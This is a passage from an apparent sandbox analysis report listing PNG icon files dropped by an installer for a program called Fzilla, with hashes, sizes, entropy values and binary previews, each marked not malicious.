SHA-512:	0D2C96F3BF149E2B8C47A2C006BBAE6A0443E8958C433045F444B254B16E49951717E3CCC8ADE580C0E4176C1A496C1147B0BA0879DC22F5FB5DADE09C3AC55F
Malicious:	false
Preview:	.PNG........IHDR....................PLTE.............................................7....tRNS.........~..w.D..q....IDATx......... ..6D............................@G...0.E1..C.....O..BtGa.q.V..^\..U.l)&.bI0.`.%..[.)v.#.`...H.QK0".F-..$...#.`...H.QK0".F-..$...c.`.%....,..$.g..$.8K0&..Y.1I0...I.q.`L....c.`.%...`A.::.....(F.K.9t..9..Ma'X........~._........^...b-..c..X.6.C0Z........`.8...).,..@q...C0P.....L..`.8...!.,..dq.6.C0Y.....L..`.8...!.,..dq...C._........`....b?8....X...Xp/.{1....^...b-..c..X...Xp/6.C1........C....!x..C.F..`.8...!.,..hq.6.C0Z.....L..`.8...1.+..\q..sp/.{1....^...b-..c..X...Xp/.....1..Q.E.I[.#.Yb.tb....-='.`.H...;.=......... ...^....c.....S.=b..c.....c.....c.....c.........8......8......8......8......8......8......8......8......8...............c.....c.....c.....c.....c.....c......=.'..{..'..mb........=p...{.>.'..{b..$.............=.'..{.>.'..Eb.."..1b..#...^ .z...............................b..@<..../..0 .............b..@<..../..0 .......

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-76TCU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1418
Entropy (8bit):	6.977739851393717
Encrypted:	false
SSDEEP:	24:HGNmkPU/il6Rl7MUBuNEEZxNBqorhrWSkx/iLZt44Eb9FaaaatqnB8T:mUoUTAx7RrhqPwvqJqnB8T
MD5:	083ED0AC0DB9F49D3EA62444670AF4CA
SHA1:	CBC2E2AEC0534A27F8A5D9ED3D2E9C6B4CE9586B
SHA-256:	E0B212D8EEA521F1B08F8192A21D2DC00EE192BEDE1404859820B40532BDDED9
SHA-512:	90BE43119CC4EB45429A672642EA75A07C1BF92A0CCD21F130149C2C95200675864D96849E34C3F672D38D98417D39829C32D30655BFF5A1A62D8D412399A0FF
Malicious:	false
Preview:	.PNG........IHDR....................-PLTE...NNNMMMMMMJJJEEEFFF......IIIGGG...MMMGGGJJJ.).z....tRNS.........~..w...p.S....IDATx......... ..6D............................@G...0.E1..C..C~..O..BtGa...,..s...Y0.`M1..b.5..K........#.`.$....$..%.'.F,.8I0b..I..K0N..X.q.`...I.QK0&.F-..$...c.`...I.QK0&.F-..$...c.`...I.QK0&.F-..?......1.....1U.R.x...a.pSb!_p(.{1....`.8.c.=.,..xq...C._........^...b,..k......Zp/.{.....^....=..s......Zp/.{.....^...b,..k......Zp/.{.....^...b,..k......Zp/.{.....^...b,..k......Zp/.{.....`.8....8..O.8.obq.....l..`.8...!.-..fq.F.C.Y.....,..`.8.{.1.+..Zq...Zp/.{.....^...b,..k......Z..K.._n..6. .....r...;c.. ..P..../1.((.B...q...*....+M.....8M.....8M........=q....=q....=q....=q.....)q....=q....=q....=q....=q....=q....=q....=q....=q....=q....=q....=q....=q....=q....=q....=q...{.>....}`O\.....M.=q.....=....{`O....u`O.......=q...{."....}`O......H.[..8F.c......?6.4.>@...1.>@..~+b.\|....F..x...+b.<...1.>@<....?#.`@.....0 .............

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-784SR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2279
Entropy (8bit):	7.303696157864078
Encrypted:	false
SSDEEP:	48:P3D87OE9aBziTInibcE6662666666McFSmeQ924juiZ+xF:b8aD7s/MuuiZk
MD5:	33774E40279BE08B64BEE8C287258678
SHA1:	0F6349785CE1F4AB0C8E43646DD04E522A720974
SHA-256:	9EC4D7DFDCFD51CB756104BDFF72A974825BD274069CD6DA52C78BE89753B377
SHA-512:	6E31A977C028E472F382C1DEB1E0AF39337FB65E4C7CCBA52BEC2FDA3D5E2E4164375CF59636AD1D1EAC105D2E254B819BB4DAD3482C97D5C43569198124F7EF
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL......................................................................................................................................................................................................................................<<<.........hhh....................................."""...GGG...]]]......BBB...............jjj......lll.........eee........................................................H..2....tRNS..Ex........m..9.;.....L...........J.7..y................................U...".y.,.O..:L...a......$.)..#...Y]$..-.M.+z.V.......................rIDATx....C....p2a.c&...u.QD.wZxZ....t{..pD.....d:.c-...m.^.....vG.....x.O...".C\.......'.e../...._/....d..=.e....5..w.ExI2_....).".I2_...s.p.u..B]..Q..=..i.....%..G..0W.kX\........................................................................................................................,.b Z...#.V..Jn~.y(...........`\|.H...."...4.C..`v...p.K.H...-"....6.....}....m.@

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-87GP2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3558
Entropy (8bit):	7.602783324688387
Encrypted:	false
SSDEEP:	96:Tdwmfyctyj0pRyE9e6Epdx7lvsh6X/b0UUUUUUU:T2mGQppYtpNJ/bv
MD5:	7CBF8BA09C12B4EA8341BAECBD27FB2B
SHA1:	AF9211B1C4FD3405E51DC97492C2C569E42BB86C
SHA-256:	7CC649C7DAD1289A984A80BB144A56C8493A61114625DFBDB5B04C4EE2D30600
SHA-512:	7C847CA4B813CD5AB762D10FE28D3CA09B0C346CB0DE780D8F680FE9DB52C3A3F111C6F2C9CAD78FEB406B7ABDB808BD35056AE1418B2190D01E76F776D18610
Malicious:	false
Preview:	.PNG........IHDR.............J.N....DPLTEGpL).),.,,.,,.,,.,$.$,.,$.$,.,%.%$.$%.%%.%.V.,.,,.,+.+$.$(.(%.%(.(-.-,.,$.$0.0,.,,.,%.%,.,,.,&.&.,.,$.$$.$,.,%.%,.,$.$,.,$.$-.-.8.8,.,$.$...+.+,.,%.%.+.+$.$#.#...+.+,.,&.&,.,(.(....................................$.$!.!!.!&.&&.&,.,!.!....j.#.#....=."."-.-.......... &.......r..~.,.,+.+".""."....m..R....',.,%.%. &...5@y....htRNS.$_........._.<...=.w.w....N..1D.K...U@A. ............Glk\|..............{..Q.n7.R%.P[Ff...;C.....88!.6.w....IDATx^..[SZI.......0.x6QD...N.I5F.E33...g...n...s1}cI..m.../..aW...3J$.....Z.y.....L.!...Q{..+76.E.(?1i.q......M...6\...i...Gm[..\.!..Kk...{.G0ha.v.....Z....v.%...E.K`..A.h~.v.:y....9pa.1Gofm.]..X..}L`...8.-...n.1F..c..../....v.[4b...#\\|......].E`..x..h...X..P4...#Z.]...5....<.8.....E.Q..U..>.J6......w..^C.P2......D..=.>D.x..C3...5..G...b..U.7!..{.z..1.....U......,$c`sx....B...^....f`s....R.d.l.YH........ ..7 ...M..........1..Dc..$``..Y.\.h..h.l ... ...B4..B4...........i001010101p........

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-961U5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	7569
Entropy (8bit):	7.902362167336274
Encrypted:	false
SSDEEP:	192:pUN4iI5AyLVl1RoaYWlmGSAGe2YgEiGsSVIqaiLZJZri7hEQ7lZ:WN4ttPfXSe2YtiLSMiLZJZrSEQX
MD5:	4C2C126F11CE45B698336B49B24F8AFE
SHA1:	7CD96F7E9A6FD3CA36336764ECDFE8A317590D1D
SHA-256:	314D5EC0DBEA36C3B37D48438E7BDD50178811B7BA04E46F438873DE3A5C1FE0
SHA-512:	5AB9E12DBA7ECA3D9BF63C7DEF45427040DC39938606555F8D3D47A06750CF8E3808099581C99C3A059F6874028A646E18B3F56DC179533FC7C3F6ED0557AEAD
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL..!."%.!'..'. %. %. &. %..&..&..&. &. &. &. &. &..&. &. &. %. &. %..%..).,,.!&..&. %. &. &. &..&. &. &..%.....&. &..&. &. &. &..&. &. &..&.!&..&. &. &. &.!%,....%..&..&. %..'. &. $8...&&..&. &. &. %.!&. &. &. &. &..(. &z.... ...`........S........u.....m.....'.............................z.....n.....L.................p..\.....0..}..k..D...........g..w........V..................................................d...(..bf.......9?.........FK....\a.......-3.........4:.AF......$*.ps.tx.........39............\|.....KP...69...........;=u...........-0.W\....... ...uv.#&;........mq........qs...........jl.14......df...........+....-/y..........v....s..............~.....\|~.y{...fg._a....LP.EG...PR...............),.Z\.........\....$k..k<.@....tRNS....AXi}............{T?+..%Gf.....a.2^......(.Do..wM....!....[..7<....;..B..7..0.'.".........u.W.2....[>.%.R....Kk..:................G...................................{....

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-A1Q8C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3266
Entropy (8bit):	7.328039314567966
Encrypted:	false
SSDEEP:	96:DegD6aa4rCMu38yvE44444N44444444Ya44444l444444444464444444444444w:lLfuePf8T3nX
MD5:	E21443D7CAD7E6927FD6D798A4232BB4
SHA1:	0C4B2F6E709822C59F884F960471009408782D09
SHA-256:	A67AF84C06743847FFC0EDBC79FFC4A3CE93C89FF57C03C0F18C3782B5347988
SHA-512:	052428EDCC9D026EDA6CCB32EA2E7104B68D9D346F016B82AEADE8B7FB191D704E21CEC084721DD35AAEB51BEDB06BABD4097F7F7623E58834805DE2BC3CC47A
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpLfffggghhhhhhiiihhhhhhhhhhhhhhhiiiqqqfffggghhhhhhhhhggghhhhhhggghhhjjjccchhhhhhhhhhhhhhhhhhhhhhhh...hhhgggggghhhiiihhhhhhiiihhh]]]fffhhhggggggmmmiiihhhfffiiixxx......yyynnn\|\|\|...rrr~~~wwwkkkjjjttt...iiikkk................sss.....................................................iiihhh....ppp.........mmmlll{{{......hhhooo...gggggg........qqqiiihhh........gggzzz........hhh..............hhh......................................................................................................}}},.,.....................................................<<<..................hhh..........................................................""".........GGG......]]]......BBB.................lll........................eee...............................tRNS..Ex.......D..m..l9.;..:......L...............JO...7...........................................k...............Cy....w.................................................................wU..

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-ABGH8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	4325
Entropy (8bit):	7.701829753187855
Encrypted:	false
SSDEEP:	96:r6QXy1Uq60LlFFlIBJjj5ppJSPNSGb80s5BA03Jr4F:WIy1UkqBJ9p+Fjs5BJJg
MD5:	AE88AA83EC926781DF9EC47CB8EA8AA0
SHA1:	F94247D50771002911698C594130CC8401DE2566
SHA-256:	F41C7079C17E20FB6C47E5A4B0C5F0884C85322EE338E2C5041BE3ED550BDF88
SHA-512:	FED9206744BEBB9D9BCC90D1D67B4ACC8C937031B386722891B76C3260F0735EB106DAA54E00F65D85D0432286605426AA33C26E730AF0A975A9063EC5C539B6
Malicious:	false
Preview:	.PNG........IHDR.............J.N....4PLTEGpL..............................................#........................................._.......~....qT...E4...................................................................@..n..F........C..k.....g..\.....Y..#........%....I....................=....:....5....7....3../..-....).....+............. .................................~..z..............w..v..s.....c..a.....V...........N........^.....R..M.........................................................................."..jQ.........\G......tRNS..Fw............m..&9....X.M......#./..W#..N.,z"V...................................................................................................................yG.mz...8NL_....)...\.......IDATx.....,Q......23c..>._.D>-X.........................I..E./).J.VO.....v..Q..W.....\|...^..._4.w..k.....=...3../.%...R.....jj....G`......Q.F...;aYSC6.~...%...0+..Dn..\.O.FH..!

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-B2OM3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2731
Entropy (8bit):	7.50303789132687
Encrypted:	false
SSDEEP:	48:ZG1jgqfsNrhWVQRxLvY1SxZZvJVyJQw/fTpHO+4zKdf70VKZG:Z1TNrPxg0TJkNxfQVKE
MD5:	8BA37BA851FAD91B76C7C9B5DDAC18BF
SHA1:	77E44925B19B19247EBCBE16CE0B65BEF533D67B
SHA-256:	5E67131EFFDE188B8C27D92982ECBFE9AAA313D0641243E69DE7EB982A97A782
SHA-512:	A58C01BFE9A4F0B7DB826D739D69A5CDDC57D8FBB890995D659D4A2F740F2C26BF33C8DE84FF1D3B7BC0CC0FABDCAB9BA0F586CCBB0941C7F68A1254264475DE
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL...hhhhhhhhhhhhhhhhhhhhh...iiiggghhhggghhhgggjjjhhhhhhhhhhhhhhh.........................................................LLL...............ttt.................................0..8....o....8..:.........RW.39.#. &.....<A....qu................V.V8.8.%.%......:.:..@.@..u.u.........x..C.."............+..e..........D...................iiihhhjjjttt.........................}..P..0..!...\|............'9`...;tRNS..Gx.......l.9.7:.................x.HV.#..lz.,.8M<a....^:.{mU...rIDATx^...........n..".................................0......2...U.%Uw..%..;............+RM.....`... ...~/..?IF..e!JG.}.[.l]..1}.$e.A.F.K.9;.....(...0........i.B..L.....0.....B..>.!...)..S.,.Y....(..@0K..w....I."A>..R..R.`.b.....ap...<...=.D.,.\k.^.*J.......k[..H.....b.{i.R...v.s.`+....`7A.7......j.c7.O......b,.._W..$.e,...R.......O....n....X...g..b.Ae..stD.X6.f=./.+..30.h.......1d...Pb...g.k....E.-.b##0lmW........SW...K......

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-B62P1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	6038
Entropy (8bit):	7.7896870537265865
Encrypted:	false
SSDEEP:	96:bZo41O32DeteIrw1kOs+6QNxmgzWQ1xJVLHGkbvKB0oljHJIt0G+ulcIx/Qn9dna:bC41E2iteIskOsSA2WQ1VLmUCDp6GuWm
MD5:	4FB33DFFF3371B53CF990BF3EF4577C2
SHA1:	B4C0C53C7FA9826C17304D35B043A9A2524996EE
SHA-256:	DE44AF39AAC7131AD05258246552DFC89E1C1634BAABD2989F4CBADA8D67598C
SHA-512:	7272515CDCC85C9F9795C7DC5D74C939735A52599E9B06F9508ABE9E3A4B1A769394195B6788414EEBC6C27DA9CED7D000B11A2F1BF082399ED41BDCFE93FA03
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL.............................................................................odE.....bH.C2..........kM..................................................................................."..?..U..g..y................................... .....4..\............F..u...............=.....O....,..n........~..........1....^..............:...........J..c..`......Q.Q..,.,............,,,............mmm.........NNN..................yyy................@@@.............................................P.P...............J.Jr.r......888....................................K.K%.%.....K.K......>.>_._.................\\\.............................................................................~.......tRNS..Ex..........w..m..%:....V.K.....\/O7...'"..a+..M.V.........................................................................................n.;....S.*.W.$..G..-.D.ew.!\|..jU.?..........Z.9

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-BH1S3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	8222
Entropy (8bit):	7.87361971360084
Encrypted:	false
SSDEEP:	192:N5fnCOK9xpodseO7rMQaN0EtFM27XaQkSdg24GDkY:tKvpcsj7AQaNrw27XDVDDkY
MD5:	0B07B1EA2BDE56E41DCBD50E79BD65E3
SHA1:	95CDA38E1F49D3B0E7E2A9A307B325A46E63F030
SHA-256:	7788BEBBA4F6FA835D285950DA618E348642E7479A662C961D9447AAFF1464A9
SHA-512:	89DE464B969E12720C1FE51738EF183EBA81DFD10992A79755CEDB58593834886EDE09E7AD4A815BD42B56B0E654C65A9C84367D16E0345C5A8227927B482E10
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL................................................................SW.39.%+. &...............................4:....<A....!'...qu.............iiiiiiggghhhhhhhhhhhhhhhgggeeehhhhhhgggggghhhhhhhhh......iiihhhhhhfffhhhhhhhhhiiiqqq.....................jjj\|\|\|............ggg.........iiiggg.............hhhkkk............iii...............gggyyy...dddggg...{s\..4...........#..C..{...iii.xW.$......~P....+..kje..E...gggolc..e....@..Esss......................K.................vvv.-.......9...nnnggg...............V}V%.%(.(9.9V.V.....5.5.....\u\?.?..<.<u.u..A.A`q`'.'/./N.N.+.+...eleG.G...NNNSSSXXX\\\___aaadddddd]]]AAA(((UUU...HHH...^^^(((ZZZ.....SSSKKK\\\LLLcccMMMNNNJJJ###@@@EEEKKKXXXKKKB.BBBBKKKCCCIIIBBBKKK...FFFHHHKKK...444.......?@=....tRNS......xI..n..;....k...............................*<Mbs........._...5S.......................g............D...................._................................................................

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-BN763.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	5407
Entropy (8bit):	7.81091631819485
Encrypted:	false
SSDEEP:	96:v6YS0SkXlJsggePtQOC8UokUWrXLoaUIf4Th2KO3vY4444444444044444436Ak:bS0SkXnsutQMUofWr/UIf61xAk
MD5:	D4A4969B85930B19AE2790ED9BB70168
SHA1:	B7AE0D6A15CFD5A091F5D12939AE66105325AD35
SHA-256:	69A41DCFA17370F4DD0E6FA74943FA674DA8D860AEB35F3208AF21849AD314A7
SHA-512:	6D8B27A9030E9EAC7CFD288B3CC6535113B269A79B91038C9598646918ED16191AB5A1AEAF895F6FA9EC15DB3BB96BFB93754A0C9858C2BA8F2E6F7B2DD3DE3C
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpLfffhhhiiiiiiggghhhhhhhhhhhhhhhhhhhhhhhhhhhhhhggg...mmmggghhhhhhhhhhhhhhhgggggghhhhhhggghhhkkk...hhhhhhgggfffggghhhhhhggghhhhhhhhhfffhhhiiihhh"""gggggghhhhhhhhhhhhhhhfffiiigggfffhhhggghhhhhhhhhfffgggdddaaa^^^[[[YYYTTTKKK>>>;;;+++ddd___WWW111...^^^QQQddd[[[HHH...fff```RRR...fffOOOFFFWWW[[[CCC...)))...hhh............YYY...]]]...bbb555...eee...bbbddd...eee...cccggg.........UUUaaafff...................................................................................................................................."...v5se=j_AbZDXTHPNJUQH`XDf\Aoa=.n4.}+.."...........&.r5WSHLLLSPI.z-........[UEMML.......~+......,.t0...x.. ..~l;xf;...}1...m:\VF.~.......................@0.....fK....}..................k^....tRNS..3Tv........fC"..;....M...^.+. ....c...p..?...-'./...E..Y..Ii.H....n]I84*..k-..W.\|F..Z .RBex=.'......r....0.......$.7...`.\|.Dw...........wC.m....k:..9....L.L......JO7y..........................

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-CJTGF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3100
Entropy (8bit):	7.3519707048561695
Encrypted:	false
SSDEEP:	96:PRgWuLcX8CGm0eNxv/PLVj9EyEmDffJ07:PLu2zd0eNFfEyEcx07
MD5:	810967A850E0F96F44874651F649A952
SHA1:	DD51AF31B2883DD27F3BA2EA4B8E572E1340261B
SHA-256:	66D6C15DD8E819E7B62D277AA237FF77C8C595F65582A368CBBC15427F82BFD2
SHA-512:	48595FB92E30AD7FFEE8237A37CB6C2F6A1603DE8EAE73DA8529D828888759DA3F74B0CC56D8E6A787F25749E5AF74EA07DE698E6178A6175B25B530D9F5D0F3
Malicious:	false
Preview:	.PNG........IHDR.............J.N....1PLTEGpL.............................................ddd..................'..7...........!!!............$$$...... ....................................................III......U.......................(..b``&.& +++...hhh...'''+.+......### $$$dddaaa...aaa$$$....,.,......hhhLLL.........lll.f.....\|.........,s....a.....I..A........H..2..)q....?.....M..................MMM................nnn.........zzz.........`......~.kkk...............mmm.h.+r./.....uuuU....@...._..V.....1.......!...i.-s....X....iiipppTTT...0...........3..W............yyy....%O....XtRNS..Z.....Y".."..!.X......k.....9.........Yhj.....7.!.88..d...i.....................!8...%...BIDATx^..w.Tu........v.YX..Q.F..h.o..wf;.w...{.:7.<.d..m.p..'.....Ov'SNnc.9'....)..?.[..._...gB..[N9U.2PW...Z..yw.P..5/W.....0.t5'...N.......g.hF..,E..4.t.../....\.......`....`....`.......0....0....0....0....0....0....0.....yab.986.....'..,k.<g..O....\.dV.....l.. .<.Tm.'..Q.

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-DT4BG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	6803
Entropy (8bit):	7.81150566445154
Encrypted:	false
SSDEEP:	96:tpuNoMaJduiX/6x2XQBitWxcy91QIKk+04DCAdsSRheyDaqYauWfliqAVAxmrdAW:mqJdNciQYI/4DCAdshWYctiRA6AeKU
MD5:	3CE9C623FF201DA78CE5462EDCEEEB57
SHA1:	2DB3F189CF2CEF4538E44FEB3E26B5F8F5B16CE6
SHA-256:	0FFFCF51EC568BEF40C6EB3A471CC9E63899BB4CFB42B70F40207F819AA826F5
SHA-512:	D775CF8C77A77D2F74338E74C86BDAF336BFF50BB7750925102806987A2C8D59986DD0E74CC23E104E77D62B29D91478756FBB4FF1C882E36B3ED480D88F9748
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL...........................................................................................%.'p'.......!.............,.,,.,,.,+.+,.,+.++.++.++.++.+,.,).)+.+,.,,.,+.+,.,+.+,.,+.+,.,+.++.+,.,,.,,.,,.,+.+........\.\.....N.N...+.+..1.1o.oA.A...,.,v.v...8.8..,.,.......>.>..+.+e.e,.,......V.V{.{%.%<.<^.^-.-I.I......(.('.'%.%%.%%.%%.%%.%&.&&.&#.#$.$#.#"."$.$%.%!.!.......=..g. . '.').).......s.(.(...!.!. .%.%'.').).P.......#.#.p."."..........oT...........................................................\|.....^.A0....p.................................j.................U>......................>..D..............-.....N..b........o...........O..........U..8..!............Q.....~..j...........cW....tRNS......xD..m..;O........................%:Pay....M......lD......V..........1..............................................._C$0x..Q.9.cY.f..)<I.4n,...+v.L..V...h..`.....Q.....?.1!.:.h......

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-EF8L2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	6.579143329764119
Encrypted:	false
SSDEEP:	24:lmIhXPlkXgCAT8SVx1vK5mYWWWWWWWWWWWWWx7+FiKgncNApgvG:j3kXrAISVx1isuuL
MD5:	D1EFC64C8D183D6304489AEACA6BFC23
SHA1:	98DE48219D8E6BFBEA7DAA1E7E19EAAEBC105B79
SHA-256:	8E6AF6C59A9C1FF2F7D0CB805C48570EA891E69E2A64092B187ABADA9023A3ED
SHA-512:	48134C48DFEE5824DA2378A72DC59F7486D8B19AFA5287C3A8DC59327BC9D931AE805EA86B682115B3AA46EA7DB3279F7CF07B183C7DC7AEA1DDA85DDBFF21C0
Malicious:	false
Preview:	.PNG........IHDR.............J.N....fPLTE............................................................:::..................666.........CCC.......m....."tRNS.d......F........z..#....I.!........Q....)IDATx...mk......2.L./Yq....y....$I.$I.$I.$I.$I.$I.$I.....j...w.....m..m..m..m..m.................%\.%\.%\.%\.%\.%\.%..%..%.p.p..0_.._.\|.W}..&..%..%.p..0_.._.\|..\|..\|.....%.7 .0.0.0_.\|..\|..%...\|..%..........G...w.z.......0a...&LX.EX.E..#,.",."L.0a....a..a.qa.G...&L.0a.",."L.0a....a..a..6.",."L.0a....a..a.&L.0a......0a...&LX.EX.E.0a...&,.",...&L.0a..a..a...&L.......0a...&LX.EX...&L.0a.",.",...&L.0a..a.&L.0a.........&L.0a.EX.E..a.&L.0a......0a...&LX.EX.E.0a...&,.",.:>.F.t1J:.....r...nG..K..K..K..K..K..K..K..K..K..K..K..K..K..K..K..K8.K8.K./././a...............W\|.._.._.\|..../_..+.\|..../_.\|.W\|..../_.\|......./_.\|..._...W\|..../_.\|......./_.\|..._.../_.\|...+.../_.\|....W\|.._.../_.\|...+.../_.\|....W\|./_.\|......./_.\|..../_...^\|./_.\|......./_.\|..../_.._.\|....

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-G17QG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 479 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	71300
Entropy (8bit):	7.969395094249343
Encrypted:	false
SSDEEP:	1536:+ugX0gq4ztRfYQc/IRPwaujGXyNyUj4cB7QvivVW6UgXccjyRlw:bgX06zXY+IucGviwoXcjw
MD5:	87363ED4937B5B1633E6C756268A46A6
SHA1:	C4BF71F9307A897FC9B44ED740DBF2797750E90A
SHA-256:	1D6C546397E8EBF71503279D0D8DA8A9343908FEC4B9B1D97926EC5532EFB365
SHA-512:	3BF66CACA161D6AC8ED60236DDB6618B910A485E4DD69797CED2F057792B2757F634606E94C7DFFF28EA26C261E23B3CAD9EA063EB056E648AB9B2CB83C173F9
Malicious:	false
Preview:	.PNG........IHDR..............,g ...KIDATx...s.H.F.......$..l...~....e..u..IZ....8n.C...._.N....rO..L.=.W... ..f+<.....#..B..\.P..\|>........\|....K...>..]...brZ..5.d.>.z....8..~.}.#.n.....@p..;8..&........G.....x....yop.]....Ba.x..."..@?!...-........b.x.....R..6.{.V....@...... ...8...aE5,......C.C... .........K...B...#......!...\....$y.S..S.n.:p....%4.w.(.w..g.....L...l........<\.n...\D..~.M......A...j.j4h,~.....o....T....9..@......_Q....?..7_..N........q`.~w<..'..U.F...:.,D,....^..`o#..9.}^.R...W...B.07.T...1....a....g...S._..(.V.!.Klt...pq...hw...-.=b3........\K.}...0T....f.. .........v.-."7A..h..'....].U\|Up..<........^.S....y....,..M.......9......n<.o..s;...i..H.h..C\|A........`...P..l.m.......w.d......O!].....6.!$m..4.=..~....)...]U.<.........'.9.Ia..mk..uf&...`Oe@']f..M....!../...Io...N./...z.....p.B.z ...u..1...+....?.D.?.<.jpB..n.c_...GS..fy...i...L...mBH.-...Y....~0...t.......}.Q.nj5.e5.Q....gT.....}....W..FA...p..W..ND....*.../Mt....Z.

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-GJGTO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2303
Entropy (8bit):	7.2593892345533515
Encrypted:	false
SSDEEP:	48:Tar4QgSavDfX6EAl8c2TfYgC9BN88J86qb37oX6C/WhmOAhO7ZS:TlQIvTzA+H7W9zFqT7oKC/POAhQS
MD5:	247CC463EC1C836C2388317B8C5FD91B
SHA1:	28E00529F0A265CE1EE9CF0D346BDE59A8AC695C
SHA-256:	444B408A816C39E965A7C960C44C8976ED99B1EF3263088B41B6A170F3747D9C
SHA-512:	8BB9472A75B0F9671CEE6DE747F346A7F56D497C9CB42CCD60F61724BB8FFC8BA733E395A79E0AF2984291A9E2F92FBD3BD23A49E6DB4130220DD90EFAF2CFCA
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL%.%...+.+-.-$.$&.&,.,,.,%.%,.,%.%...+.+(.(%.%+.+-.-(.((.((.(.,.,,.,-.-+.+...+.+"."......,.,,.,"."............,.,).)).)).)).)).)+.+!.!#.#$.$......."."..."."...#.#+.+%.%...,.,$.$$.$,.,...%.%,., . 0.0.}..f..\|..\|.....f..f..\|..f.....z..c..\|..v..v..\..a..b..l..X...........YtRNS.v.v............U...b......L....R...........N..R.SSSS....M.M@@.....77..........w}...}@@........JIDATx....,.....O...{.Eqn.=g\. .,nX..wwG7......'.C...`..'.F.g.E..gg.r.......)..0`.=...&..0`.....&..p.`...&..pC`...&...0`...&...0`..7.&..0`........:._...J=..(.\...J=.R..z.`......L8..0`.....&..pg`...&...0`..w.&..0`....&..pk`...&...0`...O.._..........".S'.O....k..P.y.....W.&..pg`......L.p.0`....... ...I...L.p.0`....... ..0..a........L.p.0`......&.8@.0a.........*.8@.0a........N... \|....z.}..`.Mm.0.@.1.0.D.).8.w.......z....s\|..vS.p......;..g.Na...S.p......;..g.Na...S.p......;..g.Na...S.p......;..g.Na...S.p......;..G.Na...S......1..>.`....m..'.

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-GV3AV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2466
Entropy (8bit):	7.092284993226423
Encrypted:	false
SSDEEP:	24:5RzIW1ACCU3KfoR7hLRBw47hHLHvZAU8fLoa+C0VEULkq1J95e4+zY2ZFBVDOofS:RUyRrHxAU8fcHVTF9izlZEogy70Eu6Cj
